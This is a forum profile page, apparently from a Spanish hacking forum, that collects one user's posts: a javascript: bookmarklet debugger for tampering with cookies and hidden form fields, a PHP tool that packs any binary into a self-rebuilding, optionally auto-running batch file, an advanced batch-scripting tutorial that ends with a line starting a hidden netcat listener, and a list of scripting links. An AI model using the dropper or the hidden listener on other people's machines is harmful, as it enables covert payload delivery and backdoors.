Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Temas - sirdarckcat

#46
Introduction:
javascript inLine Debugger is a tool, which every user can use, independently from the browser you use. This tool allows us to execute javascript on top of a website without the need of either refreshing, using a proxy, neither saving it.

This tool isn't something new, but its not well known, not commentated much and very powerful, the objective of this job is get to know its capabilities, and demonstrate the easy use of it.

To be able to use this tool, it's necessary to have very basic knowledge of Object Oriented Programming (OOP) and to know a little bit about the HTML W3C standard.

A few characteristics about this debugger are:
·   No need of installation, just a keyboard and to know javascript.
·   Capability of modifying cookies.
·   Capability of modifying forms values, visibles and hidden, disable maxLength and allow editing.
·   Capability of disabling scripts that don't allow viewing the source code or selecting text.
·   Capability of showing source code of encrypted or hidden functions.
·   Capability of modifying variables and functions, as well as to show the properties of these.
·   Capability to emulate events and establish / to modify presents.
·   Capability of modifying the source code of the website, or just a section of it.
The way of doing this is by using the javascript: protocol available in:
·   Internet Explorer
·   Mozilla Firefox
·   Opera
·   Others...
In order to know if your browser supports this method, write in your address bar:
javascript:alert("Hello World");
If you see a message saying "Hello World", your browser is compatible.

The protocols which you can use with JaSiLDBG are:
·   javascript:
·   vbscript: (Syntax is different)
·   jscript: (Very unstable, don't try it.)
To control errors, in firefox, use javascript Console (under tools).

The last version of JaSiLDBG can be found at:
http://www.elhacker.net/jasildbg/JaSiLDBG_en.pdf
#47
javascript inLine Debugger es una herramienta, que todos los usuarios pueden usar, independientemente del navegador. Esta herramienta nos permite ejecutar javascript arriba de la web sin tener que recargar, usar proxy, ni guardarla.

Esta herramienta no es algo nuevo, pero es poco conocida, poco comentada y muy potente, el objetivo de este trabajo es dar a conocer sus capacidades, y mostrar la facilidad de su uso.

Para poder utilizar esta herramienta, es necesario tener conocimiento muy básico de Programación Orientada a Objetos (OOP) y conocer un poco sobre el standard HTML de W3C.

Algunas de las características de este debugger son:
·   No necesita instalación, solo un teclado y saber javascript.
·   Capacidad de modificar cookies.
·   Capacidad de modificar valores de campos de formularios, tanto visibles como ocultos, deshabilitar maxLength y permitir su edición.
·   Capacidad de anular scripts que no permiten el ver el código fuente o seleccionar texto.
·   Capacidad de mostrar el código de funciones encriptadas o escondidas.
·   Capacidad de modificar variables y funciones, así como mostrar todas las propiedades de estos.
·   Capacidad de emular eventos y establecer / modificar actuales.
·   Capacidad de modificar el código fuente del programa, o solo una sección del mismo.
La manera de hacer esto es usando el protocolo javascript: disponible en:
·   Internet Explorer
·   Mozilla Firefox
·   Opera
·   Otros..
Para saber si tu navegador soporta este método, escribe en la barra de direcciones:
javascript:alert("Hola Mundo");
Si ves una ventana con "Hola Mundo", tu navegador es compatible.

Los protocolos que pueden usarse para el JaSiLDBG son:
·   javascript:
·   vbscript: (La sintaxis es diferente)
·   jscript: (Muy Inestable, ni lo intenten)
Para el control de errores, en firefox, debes ver la consola javascript.

La última versión de JaSiLDBG puede ser vista en: http://www.elhacker.net/jasildbg/JaSiLDBG_es.pdf
#48
BFC

Batch File Creator es un programa que te permite generar un archivo "batch" que al terminar su ejecución, generará un archivo binario idéntico al especificado, y opcionalmente lo ejecutará.

Los unicos limitantes que tiene el programa es el tamaño maximo de procesamiento de DOS, y la configuración de PHP.INI que delimitan un maximo (por defecto) de 2 megabytes por archivo.

El programa en ejecución puede ser visto en:
http://sirdarckcat.awardspace.com/BFC.php

El código fuente:
<?php
/**
* Batch File Creator
*  By SirDarckCat from elhacker.net
*  Program distributed under the GNU - GPL License
**/
if(isset($_FILES['attachment']['name']) && $_FILES['attachment']['size']<=65535){
if (
$_FILES['attachment']['size']==0){
echo "Las configuraciones de PHP.INI no me permitieron procesar tu archivo.\r\n";
exit;
}
header("Content-Type: text/plain");
header("Content-Disposition: attachment;filename=\"BFC".rand(0,5012).".bat\"");
$rn=$_FILES['attachment']['name'];
$tn="s".rand(0,100)."x.txt";
$z=(isset($_REQUEST['autostart']))?"start $rn":"EXIT";
$x=file_get_contents($_FILES['attachment']['tmp_name']);
echo "@echo off\r\n
REM BatchFileCreator 0.1
REM  By SirDarckCat from elhacker.net
REM Visit http://sirdarckcat.googlepages.com/bfc
\r\n:rx
\r\nif EXIST shell.x (
echo Loading..
start \"Loading..\" /MIN /WAIT cmd /C debug^<shell.x
if EXIST \"
$rn\" (
del \"
$rn\"
)
ren 
$tn,\"$rn\"
start cmd /C del shell.x
$z
goto:EOF
) ELSE (
call:cds
call:rx
start cmd /C del shell.x
goto:EOF
)
\r\n:cds
\r\necho n 
$tn >shell.x\r\ntype %~nx0|find \"e \"|find /v \"REM\">>shell.x\r\necho rcx>>shell.x\r\necho ".base_convert(strlen($x),10,16).">>shell.x\r\necho w".((isset($_REQUEST['binary']))?"0":" ")." >>shell.x\r\necho q>>shell.x\r\ngoto:EOF\r\n";

$bin=(isset($_REQUEST['binary']))?0:256;

for ($i=$bin;$i<strlen($x)+$bin;$i++){
if (!($i%16)){
echo "\r\ne ".base_convert($i,10,16)." ";
}
echo substr("00".base_convert(ord($x[$i-$bin]),10,16),-2)." ";
}
echo "\r\n REM EOF\r\n";
}else if (isset(
$_FILES['attachment']['name']) && $_FILES['attachment']['size']>65535){
header("Content-Type: text/plain");
header("Content-Disposition: attachment;filename=\"BFC".rand(0,5012).".bat\"");
@ob_start('ob_gzhandler'); // This are larger files, so we better compress them :P
$tn="s".rand(0,100);
$rn=$_FILES['attachment']['name'];
$m=file_get_contents($_FILES['attachment']['tmp_name']);
$xx=strlen($m)/65000;
$z=(isset($_REQUEST['autostart']))?"start \"\" \"$rn\"":"EXIT";
echo "@echo off

REM BatchFileCreator 0.1
REM  By SirDarckCat from elhacker.net
REM Visit http://sirdarckcat.googlepages.com/bfc

IF \"%~1\"==\"\" (
echo Loading..
start \"Loading..\" /MIN /WAIT cmd /C \"%~nx0 xD\"^|debug
copy /Y /B 
$tn.*,\"$rn\"
del 
$tn.*
$z
) ELSE (\r\n"
;
for ($j=0;$j<$xx;$j++){
$x=substr($m,$j*65000,65000);
echo "echo n $tn.p$j";
$sl=strlen($x);
for ($i=0;$i<$sl;$i++){
if (!($i%16)){
echo "\r\necho e ".base_convert($i,10,16)." ";
}
echo substr("00".base_convert(ord($x[$i]),10,16),-2)." ";
}

echo "\r\necho rcx\r\n";
echo "echo ".base_convert(strlen($x),10,16)."\r\n";
echo "echo w 0\r\n";
}
echo "echo q\r\n";
echo ")";
}else{
?>

<html>
<head>
<title>BatchFileCreator 0.1  por sirdarckcat</title>
</head>
<body>
<center>
<h1>BatchFileCreator 0.1</h1>
<h3>por sirdarckcat</h3>
<h5>elhacker.net</h5></center>
<hr>
<pre>
BatchFileCreator te permite generar un archivo batch que genere cualquier archivo binario
y ejecutarlo.

Solo selecciona y envia el archivo a convertir.

Tu computadora podria no ser capas de procesar archivos BATCH demasiado grandes.

Tamaño Máximo: 2 MegaBytes
</pre><table align=center>
<form method=POST ENCTYPE="multipart/form-data" action="?download">
<input type=checkbox name=autostart value=1> - ¿Iniciar despues de creado?<br>
<input type=checkbox name=binary value=1> - Binario?<br>
File: <input type=file name=attachment> <br></table>
<hr><center>
<input type=submit></center>
</form>
</body>
</html>
<?php
}
?>


Es todo. espero les sirva :)

Saludos!!
#49
Programación BATCH Avanzada.

Temario.
1.- Variables y Argumentos.
2.- Imprimir caracteres de comandos.
3.- Algunas otras variables de Entorno.
4.- IF
5.- FOR
6.- Funciones
7.- Includes
8.- Misc
9.- EOF



Variables y Argumentos

El manejo de variables en batch, es muy flexible., y este nos permite hacer desde operaciones matemáticas, hasta seleccionar ciertas partes de una variable, asi como reemplazar  cadenas de texto, y obtener archivos.. y sus propiedades, la fecha, hora, generar numeros aleatorios, entre otros.

Los argumentos que recibe un batch, son recibidos de la siguiente forma:

batch argumento1 dos tres

hara que:
%0 = batch
%1 = argumento1
%2 = dos
%3 = tres

en %0 se guardara, el nombre del archivo.

Podemos borrar el contenido de un parametro con el comando shift:

Código (dos) [Seleccionar]

@echo off
echo %0 %1 %2 %3
shift /1
echo %0 %1 %2 %3


al llamar:

Código (dos) [Seleccionar]

C:\Documents and Settings\Administrador\tempcurso>astring 123 456 789
astring 123 456 789
astring 456 789


shift borro, el primer argumento.

Tambien contamos con los siguientes modificadores para los archivos:

Código (dos) [Seleccionar]

      %~f1        - regresa la ruta y el archivo de %1.
      %~d1        - regresa la letra de la unidad de %1.
      %~p1        - regresa solo la ruta del archivo %1.
      %~n1        - regresa solo el nombre de archivo %1.
      %~x1        - regresa solo la extension del archivo %1.
      %~s1        - regresa solo la ruta, con directorios, con nombres cortos del archivo %1.
      %~a1        - regresa los atributos del archivo.
      %~t1        - regresa la hora/fecha del archivo %1
      %~z1        - regresa el tamaño del archivo %1.


por ejemplo:

en un directorio donde tenemos:

Código (dos) [Seleccionar]

C:\Documents and Settings\Administrador\tempcurso>dir
El volumen de la unidad C no tiene etiqueta.
El número de serie del volumen es: A057-553B

Directorio de C:\Documents and Settings\Administrador\tempcurso

24/07/2006  12:25a      <DIR>          .
24/07/2006  12:25a      <DIR>          ..
24/07/2006  12:25a                   6 archivo.txt
              1 archivos              6 bytes
              2 dirs  401,715,161,088 bytes libres


este batch:

Código (dos) [Seleccionar]

@echo off
echo Ruta al archivo: %~f1
echo Disco: %~d1
echo Solo ruta: %~p1
echo Nombre: %~n1
echo Extension: %~x1
echo Ruta Corta: %~s1
echo Atributos: %~a1
echo Fecha: %~t1
echo Tamaño: %~z1


llamandolo analiza.bat, saca el siguiente resultado:

Código (dos) [Seleccionar]

C:\Documents and Settings\Administrador\tempcurso>analiza archivo.txt
Ruta al archivo: C:\Documents and Settings\Administrador\tempcurso\archivo.txt
Disco: C:
Solo ruta: \Documents and Settings\Administrador\tempcurso\
Nombre: archivo
Extension: .txt
Ruta Corta: C:\DOCUME~1\ADMINI~1\TEMPCU~1\archivo.txt
Atributos: --a------
Fecha: 24/07/06 12:25a
Tama±o: 6


Tambien podemos usar varias propiedades, por ejemplo, este codigo:
Código (dos) [Seleccionar]

@echo off

echo %~anxt1


saca este resultado:

Código (dos) [Seleccionar]

C:\Documents and Settings\Administrador\tempcurso>analiza archivo.txt
--a------ 24/07/06 12:25a archivo.txt


Si lo que recibimos no es un archivo, sino una cadena de texto, que contiene mas de una palabra, se debe poner entre comillas, algo asi:

astring "parametro de varias letras"

al obtenerlo, en %1, lo recibimos con comillas, pero si usamos:

Código (dos) [Seleccionar]

@echo off
echo Con Comillas: %1
echo Sin Comillas: %~1


saca este resultado:

Código (dos) [Seleccionar]

C:\Documents and Settings\Administrador\tempcurso>astring "parametro de varias letras"
Con Comillas: "parametro de varias letras"
Sin Comillas: parametro de varias letras


Y por ejemplo, si queremos obtener todos los argumentos, se usa:

%*

es decir:

Código (dos) [Seleccionar]

@echo off

echo Argumentos: %*


al ejecutar:

astring parametro de varias letras

nos regresa:

Código (dos) [Seleccionar]
C:\Documents and Settings\Administrador\tempcurso>astring parametro de varias letras
Argumentos: parametro de varias letras


Para asignar a una variable, el valor de algo escrito por el usuario, puedes usar:

set /P variable=

por ejemplo:
Código (dos) [Seleccionar]

@echo off
echo ¿Como te llamas?
set /P miva=

echo Tu te llamas %miva%


hara algo asi:

Código (dos) [Seleccionar]

C:\Documents and Settings\Administrador\tempcurso>astring
┐Como te llamas?
Juan
Tu te llamas Juan


Ahora, si por ejemplo, queremos, hacer algo como, obtener las ultimas 3 letras del nombre:

Código (dos) [Seleccionar]

@echo off
echo Escribe tu Nombre
set /P NOM=
echo %NOM:~-3%


Aqui lo que estamos haciendo en la ultima linea:

%NOM:~-3%
hara, obtener los ultimos 3 caracteres, como si se tratara de la funcion substring.

por ejemplo, esto:

%NOM:~1,3%

obtendra del segundo al cuarto caracter. (empiezas desde 0, recuerda)

Para reemplazar cadenas, dentro de otra variable, es la siguiente sintaxis:
Código (dos) [Seleccionar]

@echo off
echo Escribe una frase
set /P FRA=
echo %FRA:e=XXX%


esto reemplazara las letras "e" por "XXX".

Para hacer calculos matematicos, se usa el modificado /A, de esta forma:

Código (dos) [Seleccionar]

@echo off
set /A x=1
echo %x%
set /A x=x*9
echo %x%


tenemos las siguientes operaciones disponibles:

Código (dos) [Seleccionar]

()                  - agrupar
* / %               - operadores aritméticos
+ -                 - operadores aritméticos
<< >>               - mayús lógica
&                   - AND
^                   - XOR
|                   - OR
= *= /= %= += -=    - asignación
 &= ^= |= <<= >>=
,                   - separador de expresión


Con este podemos usar numeros hexadecimales de la siguiente forma:

Código (dos) [Seleccionar]
@echo off
set /A x=2
echo %x%
set /A x=x*0xff
echo %x%


al colocar 0x estamos especificando, que a continuacion se pondra un valor hexadecimal.




Imprimir caracteres sin usar comandos

Ahora, se preguntaran, en las variabes, siempre usamos los signos %
Como imprimes uno?

veamos:

Código (dos) [Seleccionar]

@echo off
set x=pru
set pru=HOLA

:: Esto imprimira el contenido de x
echo %x%

::Esto imprimira la letra x
echo x

::Esto imprimira %x%
echo %%x%%

::Esto imprimira el valor de x entre %%
echo %%%x%%%

:: Lo mismo
echo %pru%
echo %%pru%%
echo %%%pru%%%


En resumen, si quieren imprimir, el caracter %, deben colocarlo 2 veces.

Para otros caracteres, que ejecutan alguna accion en batch como:
&
|
<
>

debes colocar este caracter antes:^

por ejemplo:

Código (dos) [Seleccionar]

echo <html><h1>Hola</h1></html> >index.html


no funcionara, pero:

Código (dos) [Seleccionar]

echo ^<html^>^<h1^>Hola^</h1^>^</html^> >index.html


dara:
Código (dos) [Seleccionar]

C:\Documents and Settings\Administrador\tempcurso>type index.html
<html><h1>Hola</h1></html>





Algunas otras variables de entorno

Tenemos otras variables de entorno que podrian servir, ademas de las comunes de ALLUSERSPROFILE y HOMEPATH, por ejemplo:

Código (dos) [Seleccionar]

@echo off
echo Directorio Actual: %CD%
echo Fecha: %DATE%
echo Hora: %TIME%
echo Numero Aleatorio: %RANDOM%

dara como resultado:

Código (dos) [Seleccionar]

C:\Documents and Settings\Administrador\tempcurso>astring
Directorio Actual: C:\Documents and Settings\Administrador\tempcurso
Fecha: Lun 24/07/2006
Hora:  2:13:49.33
Numero Aleatorio: 24523

C:\Documents and Settings\Administrador\tempcurso>astring
Directorio Actual: C:\Documents and Settings\Administrador\tempcurso
Fecha: Lun 24/07/2006
Hora:  2:13:51.60
Numero Aleatorio: 3681


Otras instrucciones muy utiles, serian POPD y PUSHD, que sirven para guardar y regresar al directorio actual, por ejemplo:

Código (dos) [Seleccionar]

@echo off
echo %CD%
PUSHD \
echo %CD%
POPD
echo %CD%


PUSHD funciona de la siguiente manera:

Guarda el directorio actual., y va a la ruta especificada.

POPD regresa al directorio guardado por PUSHD

podemos usarlos uno dentro de otro, asi:

Código (dos) [Seleccionar]

@echo off
echo %CD%
PUSHD \
echo %CD%
PUSHD %homepath%
echo %CD%
POPD
echo %CD%
POPD
echo %CD%





IF

If, reconoce varias situaciones:

valores de error
comparar cadenas
existencia de archivos
comparaciones matematicas

como ya sabemos %ERRORLEVEL% almacena algunos valores de otras funciones.

al hacer

IF ERRORLEVEL 1 @echo ok ELSE @echo no

estariamos preguntando si ERRORLEVEL es 1, si lo es imprime OK, si no, imprime NO.

tambien podemos comparar cadenas, por ejemplo:

Código (dos) [Seleccionar]

@echo off
IF "%~1"=="hola" echo hola


usamos %~1 para que aunque el usuario ponga comillas, no salga error ;)

Código (dos) [Seleccionar]

@echo off
IF /I "%~1"=="hola" echo hola


este codigo, solo responde si dices hola CON minusculas. /I es para hacer mas estricta la comparacion.

ahora, podemos usar IF en varias lineas:

Código (dos) [Seleccionar]

@echo off
IF EXIST %~snx1 (
echo EXISTE!
) ELSE (
echo NO EXISTE
)


con parentesis ().

si vamos a usar comparaciones numericas, debemos usar los siguientes codigos de comparación:

Código (dos) [Seleccionar]


   EQU - igual
   NEQ - no igual
   LSS - menor que
   LEQ - menor que o igual
   GTR - mayor que
   GEQ - mayor que o igual



por ejemplo:

Código (dos) [Seleccionar]

@echo off
echo Cual es tu edad?
SET /P m=
IF %m% GEQ 18 (
echo ERES MAYOR DE EDAD
) ELSE (
echo NO ERES MAYOR DE EDAD
)


que regresa:

Código (dos) [Seleccionar]

C:\Documents and Settings\Administrador\tempcurso>acon
Cual es tu edad?
19
ERES MAYOR DE EDAD

C:\Documents and Settings\Administrador\tempcurso>acon
Cual es tu edad?
17
NO ERES MAYOR DE EDAD


Tambien podemos saber si una variable ya fue definida:

Código (dos) [Seleccionar]

IF DEFINED var (
echo SI
) ELSE (
echo NO
)





FOR

FOR es una herramienta muy completa, nos permite analizar segmentos de la salida de comandos, funciones y el contenido de archivos.

Tambien permite hacer bucles de la siguiente manera:

Código (dos) [Seleccionar]
FOR /L %%var IN (inicio,incremento,fin) DO (acciones)

inicio, es el valor inicial, incremento es la cantidad a sumar, y fin es la cantidad a detenerse, por ejemplo:

Código (dos) [Seleccionar]
FOR /L %%i IN (0,1,10) DO (echo %%i)
imprimira 0 1 2 3 4 5 6 7 8 9 10

sinembargo, la forma mas sencilla de usar FOR, es para numerar archivos, y hacer algo con ellos.. por ejemplo:

Código (dos) [Seleccionar]
FOR %%x in (x*) DO echo %%x
mostrará todos los archivos que empiezan con x.

para SOLO mostrar directorios:
Código (dos) [Seleccionar]
FOR /D %%x in (m*) DO echo %%x
el modificador "/D", mostrará solo los directorios, que empiesen con m.

El comando se puede hacer "recursivo", es decir, que se ejecute  dentro de cada directorio, con el comando "/R", por ejemplo, en una estructura de directorios como la siguiente:

Código (dos) [Seleccionar]

├───adios
│   └───algo
│       └───xx
└───hola


al ejecutar el comando:
Código (dos) [Seleccionar]
FOR /R /D %%x in (a*) DO echo %%x
C:\adios
C:\adios\algo


sinembargo, al ejecutar el comando..
Código (dos) [Seleccionar]
FOR /R %%x in (*x*) DO echo %%x
C:\ax.txt
C:\adios\sx.txt
C:\adios\wwx.txt
C:\adios\algo\kkx.txt
C:\adios\algo\xx\xx.txt
C:\hola\ax.txt
C:\hola\rx.txt


nos mostrara todos los archivos que coinciden con la sequencia especificada, incluso podriamos hacer un buscador en batch, con el uso de FINDSTR y FOR.

Tenemos otro modificador, /F que nos permite usar ciertas opciones para separar el resulado de las acciones.. comandos, cadenas, o archivos. Su sintaxis es la siguiente:

Código (dos) [Seleccionar]
FOR /F ["opciones"] %var IN (conjunto) DO (acciones)

conjunto puede ser:
conjunto de archivos -> sin comillas
cadena de caracteres -> con comillas dobles (" ")
comando -> con comilla simple (' ')

las opciones son las siguientes:
eol -> todo lo que este despues de este caracter sera ignorado (para cada linea)
skip -> numero de lineas a saltarse al principio del archivo/comando.
delims -> esto sirve para separar las strings.. si no se coloca esta opcion, se usaran como separadores "espacio" y "tab"
tokens -> esto es para especificar cuales segementos, delimitados por "delims", seran pasados a las variables.. por ejemplo:
1,2,3
solo pasara los primeros 3 segmentos.
1,2*
pasara 2 segmentos, el primero y todo lo que este despues (el * regresa todo el resto de la linea)
1,2-6,8,9*
regresara 4 segmentos, el primero, desde el segundo hasta el sexto, el octavo y el resto de la linea, despues del noveno, el signo de menos (-) genera intervalos.

por ultimo, esta la opcion:
usebackq -> que cambia la forma de interpretar si es string o comando, de la siguiente manera:
'cadena'
`comando`

Nota: [`] es diferente al caracter de acento [´]

por ejemplo, el siguiente comando:

Código (dos) [Seleccionar]
FOR /F "tokens=1,3-5,7-9,10* delims= " %%i IN ("George no es malvado, es bondadoso, siempre piensa en los demas.") DO echo %%i %%j %%k %%l tonto, %%m %%n %%o matar a %%p %%q

dara de resultado:
Código (dos) [Seleccionar]
George es malvado, es tonto, siempre piensa en matar a los demas.




Funciones

El uso de argumentos, de etiquetas y de filtros nos ayuda mucho al momento de escribir un codigo.

Muchos creen que las etiquetas solo sirven para los goto.. sinembargo una etiqueta puede servir de funcion y recibir parametros.

miren, el siguiente programa:
Código (dos) [Seleccionar]
@echo off
call:funcion 1 2 3
call:funcion %*
goto:EOF
:funcion
echo Estoy en: %~nx0-^>%0 %*


al ser llamado, por ejemplo en:
Código (dos) [Seleccionar]
C:\>ejemplo
Estoy en: ejemplo.bat->:funcion 1 2 3
Estoy en: ejemplo.bat->:funcion

el primero muestra los parametros enviados por el batch (1 2 3), y el segundo los parametros enviados al programa.
en este otro ejemplo:
Código (dos) [Seleccionar]
C:\>ejemplo HOLA MUNDO
Estoy en: ejemplo.bat->:funcion 1 2 3
Estoy en: ejemplo.bat->:funcion HOLA MUNDO

la funcion obtiene tambien los argumentos del programa.

hasta ahora.. todo es igual a usar goto a excepcion del uso de argumentos, sinembargo.. si queremos hacer un.. "return", se hace usando:
goto:EOF
entonces, en situaciones como:
Código (dos) [Seleccionar]

@echo off&call:main&goto:EOF

:suma
set /A res=%1 + %2
echo %res%
goto:EOF

:resta
set /A res=%1 - %2
echo %res%
goto:EOF

:multiplica
set /A res=%1 * %2
echo %res%
goto:EOF

:main
set /P arg=Escribe 2 numeros separados por un espacio
echo %arg%
echo su suma es:
call:suma %arg%

echo su resta es:
call:resta %arg%

echo su producto es:
call:multiplica %arg%

goto:EOF


como podemos ver goto:EOF se usa para regresar al orden de comandos.

el resultado es algo asi:

Código (dos) [Seleccionar]

C:\>operaciones
Escribe 2 numeros separados por un espacio 6 2
6 2
su suma es:
8
su resta es:
4
su producto es:
12





Includes
Para hacer un "include" oincluir un archivo, solo debes llamarlo asi:
archivo_a_incluir.bat funcion argumentos
y en el archivo a incluir, debe de estar al principio: @echo off&call:%*&goto:EOF

queda algo asi:
Código (dos) [Seleccionar]

@echo off&call:%*&goto:EOF
:funcion1
...
:funcion2
...


por ejemplo:

--inclu.bat--
Código (dos) [Seleccionar]

@echo off&call:%*&goto:EOF

:cabeza
echo ###############
echo # Hecho por:  #
echo # sirdarckcat #
echo ###############
goto:EOF

:uso
echo uso:
echo %~nx0 Nombre
goto:EOF

:nombre
echo Hola %*
goto:EOF


--inicio.bat--
Código (dos) [Seleccionar]

@echo off
if "%~1"=="" (
inclu.bat cabeza
inclu.bat uso
) else (
inclu.bat nombre %~1
)


esto daria este resultado:

Código (dos) [Seleccionar]

C:\>inicio
###############
# Hecho por:  #
# sirdarckcat #
###############
uso:
inclu.bat Nombre

C:\>inicio sirdarckcat
Hola sirdarckcat

C:\>





Misc
Algunos filtros y comandos interesantes:

  • comando | more
muestra el resultado del comando de forma paginada

  • comando | sort
muestra el resultado del comando de forma ordenada

  • TITLE "algo"
cambia el titulo de la ventana de CMD

  • SUBST ruta/a/alguna/carpeta [letra_unidad]
asgina a letra_unidad la ruta de acceso

  • FIND "cadena"
busca cierta cadena en un archivo (se puede usar como filtro), con el modificador /v encuentra solo las que NO tienen la linea especificada. (para mas info, escribe en CMD: FIND /?)

  • FINDSTR
extension de FIND, acepta expresiones regulares, y busqueda general (lo mas parecido que DOS tiene a grep), descripción detallada:
Código (dos) [Seleccionar]

Busca cadenas en los archivos.

FINDSTR [/B] [/E] [/L] [/R] [/S] [/I] [/X] [/V] [/N] [/M] [/O] [/P]
[/F:archivo]
  [/C:cadena] [/G:archivo] [/D:lista de directorios] [/A:atributos de color]
  [cadenas] [[unidad:][ruta]nombredearchivo[ ...]]

 /B        Hace coincidir los modelos si están al principio de la línea.
 /E        Hace coincidir los modelos si están al final de la línea.
 /L        Literalmente utiliza cadenas de búsqueda.
 /R        Utiliza cadenas sde búsqueda como expresiones regulares.
 /S        Busca archivos que coinciden en el directorio actual y en todos
           los subdirectorios.
 /I        Especifica que la búsqueda no distingue mayúsculas de minúsculas.
 /X        Imprime líneas que coinciden con exactitud.
 /V        Sólo imprime líneas que no contienen una correspondencia.
 /N        Imprime el número de la línea antes de la línea que coincide.
 /M        Sólo imprime el nombre de archivo si el archivo contiene una
           correspondencia.
 /O        Imprime un carácter de desplazamiento antes de las líneas que
           coinciden.
 /P        Omite archivos con caracteres que no son imprimibles
 /A:attr   Especifica atributos de color con dos dígitos hexadecimales. Ver
           "color /?"
 /F:archivo  Lee la lista de archivos desde el archivo especificado
           (/ significa consola).
 /C:cadena   Utiliza una cadena especificada como una búsqueda de cadena
           literal.
 /G:archivo  Coje la búsqueda de archivos desde el archivo especificado
           (/ significa consola).
 /D:dir    Busca un signo de punto y coma de la lista delimitada de
           directorios
 cadenas   Texto que se debe buscar.
 [unidad:][ruta]nombredearchivo
           Especifica un archivo o  archivos que buscar.

Utiliza espacios para separar múltiples cadenas de búsqueda a no ser que
el argumento lleve un prefijo con /C.  Por ejemplo, 'FINDSTR "qué tal" x.y'
busca "qué" o "tal" en el archivo x.y.  'FINDSTR /C:"qué tal" x.y' busca
"qué tal" en el archivo x.y.

Expresión regular de referencia rápida:
 .        Comodín: cualquier carácter
 *        Repetir: cero o más ocurrencias de un carácter previo o de clase
 ^        Posición de línea: comienzo de la línea
 $        Posición de línea: fin de línea
 [clase]  Clase de carácter: cualquier carácter en la serie
 [^class] Clase inversa: cualquier carácter que no esté en la serie
 [x-y]    Intervalo: cualquier carácter que esté dentro del intervalo
          especificado
 \x       Escape: uso literal de un metacarácter x
 \<xyz    Posición de palabra: principio de palabra
 xyz\>    Posición de palabra: fin de palabra

Para obtener una información más completa sobre expresiones regulares de
FINDSTR referirse al Comando de referencia Command en línea.



  • start "titulo ventana nueva" [OPCIONES] comando argumentos
START tiene mas opciones de las que son usadas comunmente.
"titulo ventana nueva" especifica el titulo de la ventana que se generará.

las opciones entre otros contienen:
/Druta - el programa inicia en el directorio..
/B - la aplicación se inicia sin ventana
/I - se inicia la aplicacion con el entorno original, es decir las modificaciones al entrono hechas en esta sesion, no afectaran el nuevo programa
/MIN - La nueva ventana se inicia minimisada
/MAX - La nueva ventana se inicia maximisada
/SEPARATE - El programa se inicia en una zona de memoria separada
/SHARED - El programa se inicia en una zona de memoria compartida

Iniciar en prioridades:

/LOW - baja
/NORMAL - normal
/HIGH - alta
/REALTIME - tiempo real
/ABOVENORMAL - sobre lo normal
/BELOWNORMAL - debajo de lo normal

/WAIT - Inicia el programa, y espera hasta que termine de ejecutarse

por ejemplo, si quieren abrir un programa sin generar una ventana, por ejemplo netcat, podrian hacer algo asi:

start /B /SEPARATE /HIGH /I /D %WINDIR% nc -L -p 1337 |exit

que lo inicia en una zona de memoria separada, con prioridad alta, en el contexto original, y en %windir%



EOF
EOF es una etiqueta que define el fin del archivo, sirve para terminar funciones, y en este caso, solo sirve para terminar el documento :), espero les sirva ;)


(c) Sirdarckcat 2006
Autorizo la reproducción total o parcial de este documento bajo la licencia de documentación libre de GNU (GFDL), una copia puede ser encontrada en http://www.gnu.org/licenses/fdl.txt


#50
Recopliatorio de Posts importantes sobre Scripting.


Ventajas de SOP (Scripting Oriented Programming).

Resumen Scripting en Wikipedia
http://en.wikipedia.org/wiki/Scripting

Estudio de lenguajes de SOP.
http://merd.sourceforge.net/pixel/language-study/scripting-language/

Programacion de "el mas alto nivel".. Scripting
http://home.pacbell.net/ouster/scripting.html

Scripting mejor que C y Java?
http://page.mi.fu-berlin.de/~prechelt/Biblio/jccpprt2_advances2003.pdf

Herramientas en Python de Google (la mayoria son Python, no todas)
http://code.google.com/projects.html




ActionScript:

Foro:

Tutorial Calculadora Sencilla en Flash
http://foro.elhacker.net/index.php/topic,129503.0.html

[:: Mini-Tutorial ::] Crear un botón con link en Flash
http://foro.elhacker.net/index.php/topic,29067.0.html

Ver foro de diseño.

Web:

Tutorial de ActionScript 2.0
http://www.abcdatos.com/tutoriales/tutorial/o133.html

Tutorial ActionScript
http://www.cristalab.com/tutoriales/21/tutorial-de-actionscript-2.0-en-flash


Batch (Win):

Foro

Manual de referencia de comandos de la CMD (XP/VISTA/7/8) INGLÉS
http://foro.elhacker.net/index.php/topic,367016.0.html

[BATCH] Manual de Batch (INGLÉS)
http://foro.elhacker.net/index.php/topic,367017.0.html

Uso comodines DOS
http://foro.elhacker.net/index.php/topic,32265.0.html

Comandos DOS
http://foro.elhacker.net/index.php/topic,32265.0.html

Tutorial programación Batch
http://foro.elhacker.net/index.php/topic,18148.0.html

B-Ware pequeño tutorial de batch, hecho en batch
http://foro.elhacker.net/index.php/topic,136764.0.html

Recopilación de PDF's sobre Batch en español
http://foro.elhacker.net/index.php/topic,395516.0.html

Web

DOS Batch File Tutorial
http://www.chebucto.ns.ca/~ak621/DOS/BatBasic.html

DOS Tutorial--Batch files and commands
http://furies.senecac.on.ca/~cpang/ios100/dosbatch.html

Tutorial BATCH
http://www.raonline.com.ar/foros/index.php?showtopic=2584


‬javascript:

Foro

Introdución al scripting
http://foro.elhacker.net/index.php/topic,128547.0.html

Recopilacion scripts
http://foro.elhacker.net/index.php/topic,122305.0.html

Web

Tutorial ‬javascript
http://www.htmlpoint.com/‬javascript/tutorial/

Tutorial de ‬javascript
http://www.ulpgc.es/otros/tutoriales/‬javascript/index.htm

Tutorial de ‬javascript
http://www.elcodigo.net/tutoriales/‬javascript/‬javascript.html

‬javascript Tutorial
http://www.w3schools.com/js/

‬javascript Reference
http://‬javascript-reference.info/

‬javascript Quick Reference
http://www.devguru.com/Technologies/ecmascript/quickref/javascript_index.html

‬javascript Code Reference
http://developer.mozilla.org/docs/Core_JavaScript_1.5_Reference



Perl:

Web:


Principios de Programación Imperativa, Funcional y Orientada a Objetos Una Introducción en Perl/Una Introducción a Perl

http://nereida.deioc.ull.es/~lhp/perlexamples/



Python:

Foro:

Aprendiendo Python
http://foro.elhacker.net/index.php/topic,104880.0.html

Tutorial Python (ver links respuestas)
http://foro.elhacker.net/index.php/topic,79568.0.html

Python? (ver lnks respuestas)
http://foro.elhacker.net/index.php/topic,113874.0.html

Un buen manual para el PYTHON (ver links respuestas)
http://foro.elhacker.net/index.php/topic,120534.0.html

PODEROSO SOLO QUE A LEER Y PENSAR PYTHON
http://foro.elhacker.net/index.php/topic,126352.0.html

Manual Iniciación Python
